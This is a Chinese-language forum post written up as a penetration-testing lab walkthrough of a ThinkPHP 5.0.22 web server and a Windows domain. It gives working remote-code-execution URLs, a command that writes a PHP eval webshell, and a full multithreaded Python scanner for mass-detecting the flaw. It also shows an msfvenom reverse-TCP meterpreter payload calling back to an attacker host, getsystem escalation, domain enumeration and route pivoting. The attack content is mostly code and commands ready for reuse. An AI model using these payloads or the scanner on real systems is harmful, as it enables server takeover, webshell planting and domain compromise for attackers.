taibeihacker
Moderator
0x00 前言
在內網滲透的過程中思路才是最重要的,本次內網滲透的主機雖然不多,主要還是鍛煉自己內網滲透的一個思想。0x01 环境搭建
靶場:win7(內):192.168.138.136
win7(外):192.168.10.25
域內主機:
win2008:192.168.138.138


0x03 web服务器渗透
nmap探测端口
nmap -T4 -sC -sV 192.168.10.25這裡可以看到幾個主要的端口,例如80、135、139、445,這里首先就可以想到可以利用的點有ipc、smb

開了80端口,嘗試訪問web地址,老笑臉人了,而且還是5.x版本,洞還是比較多

為了確定具體版本,這裡先使用報錯查看,發現這裡的版本為5.0.22,如果沒記錯的話這裡是有一個tp遠程命令執行漏洞的
漏洞描述:由於thinkphp對框架中的核心Requests類的method方法提供了表單請求偽造,該功能利用$_POST['_method']來傳遞真實的請求方法。但由於框架沒有對參數進行驗證,導致攻擊者可以設置$_POST['_method']='__construct'而讓該類的變量被覆蓋。攻擊者利用該方式將filter變量覆蓋為system等函數名,當內部進行參數過濾時便會進行執行任意命令。

thinkphp getshell
這裡我首先在kali裡面找一下有沒有相關的漏洞searchsploit thinkphp

可以看到這裡有一個5.x遠程執行漏洞,這裡直接進入這個文件夾查看一下txt列出來的payload
cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt

找到對應版本後fuzz以下payload,這個是列出數據庫名字,這裡看到數據庫名為root
192.168.10.25/thinkphp/public/?s=.|think\config/getname=database.username

這個payload應該是列出數據庫密碼,但是這裡沒有打出來
192.168.10.25/thinkphp/public/?s=.|think\config/getname=database.password

這裡打出phpinfo
192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=phpinfovars[1][]=1

傳參看一下當前權限為administrator
192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=whoami

看一下ip情況,雙網卡,那麼大概率有域環境
192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=ipconfig

看一下進程,發現無殺軟那麼嘗試不用免殺直接寫webshell
192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=tasklist /svc

這裡直接嘗試echo寫一個一句話木馬進去,這裡因為之前查看過沒有殺軟跟安全狗,這裡就不需要做免殺處理
192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=echo '?php @eval($_POST[cmd]);' connect.php

這裡用dir驗證一下是否寫入成功
192.168.10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=dir

使用蟻劍連接成功


thinkphp批量检测
這裡我思考了一個問題,thinkphp的版本這麼多,如果kali裡面的漏洞庫沒有,而在搜索引擎上去搜索又太耗費時間,有沒有一個批量檢測thinkphp漏洞的腳本呢?這裡我找到了一個thinkphp漏洞批量檢測的腳本
# !/usr/bin/env python
# -*- coding: utf-8 -*-
# name: thinkphp遠程代碼檢測
# description: ThinkPHP5 5.0.22/5.1.29 遠程代碼執行漏洞
import re
import sys
import requests
import queue
import threading
from bs4 import BeautifulSoup
class thinkphp_rce(threading.Thread):
def __init__(self, q):
threading.Thread.__init__(self)
self.q=q
def run(self):
while not self.q.empty():
url=self.q.get()
headers={'User-Agent':'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50'}
payload=r'/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=phpinfovars[1][]=1'
vulnurl=url + payload
try:
response=requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)
soup=BeautifulSoup(response.text,'lxml')
if 'PHP Version' in str(soup.text):
print ('[+] Remote code execution vulnerability exists at the target address')
print ('[+] Vulnerability url address ' + vulnurl)
with open('target.txt','a') as f1:
f1.write(vulnurl+'\n')
f1.close()
else:
print ('[-] There is no remote code execution vulnerability in the target address')
except:
print ('[!] Destination address cannot be connected')
def urlget():
with open('url.txt','r')as f:
urls=f.readlines()
for tmp in urls:
if '//' in tmp:
url=tmp.strip('\n')
urlList.append(url)
else:
url='http://'+tmp.strip('\n')
urlList.append(url)
return(urlList)
f.close()
if __name__=='__main__':
print('''----------------掃描開始-------------------
*Made by :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN
_______ _ _
|__ __| | | (_)
| | __| | ___ ___ _ __ ___ _ _ __ __ _
| |/_` |/__|/_ \ | '_ ` _ \ | || '_ \/_` |
| || (_| || (__| (_) || | | | | || || | | || (_| |
|_| \__,_| \___|\___/|_| |_| |_||_||_| |_| \__, |
__/|
|___/
''')
urlList=[]
urlget()
threads=[]
threads_count=10
q=queue.Queue()
for url in urlList:
q.put(url)
for i in range(threads_count):
threads.append(thinkphp_rce(q))
for i in threads:
i.start()
for i in threads:
i.join()
這裡的使用方法很簡單:將要檢測的目標放在url.txt裡面,如果存在漏洞的地址將自動生成一個target.txt文本保存

0x04 内网信息搜集
這裡使用蟻劍的命令窗口蒐集一下本機信息,為administrator權限+雙網卡whoamiipconfig

查看一下域相關信息
net viewnet config workstationnet user /domain

0x05 内网渗透
上线msf
msf生成一個abc.exemsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe abc.exe

使用蟻劍上傳到靶機上

這裡因為沒有殺軟不用做免殺,直接命令行執行即可

msf開啟監聽即可上線

信息搜集
使用getsystem提權到system,這裡因為是靶場的原因getsystem比較容易執行成功
提權後獲取一個windows環境下的shell繼續對域進行信息蒐集
chcp 65001net user /domainnet group 'domain computers' /domainnet group 'domain controllers' /domainnet group 'domain admins' /domain

靶機存在一個名為“sun”的域環境,只有一個域控,這裡我直接ping一下域控得到域控ip為192.168.138.138

获取凭证
這裡因為有兩個網段就先把路由添加上方便後續操作# msf操作route add 192.168.138.0 255.255.255.0 2route print # session操作run autoroute -s 192.168.138.0/24run autoroute -p
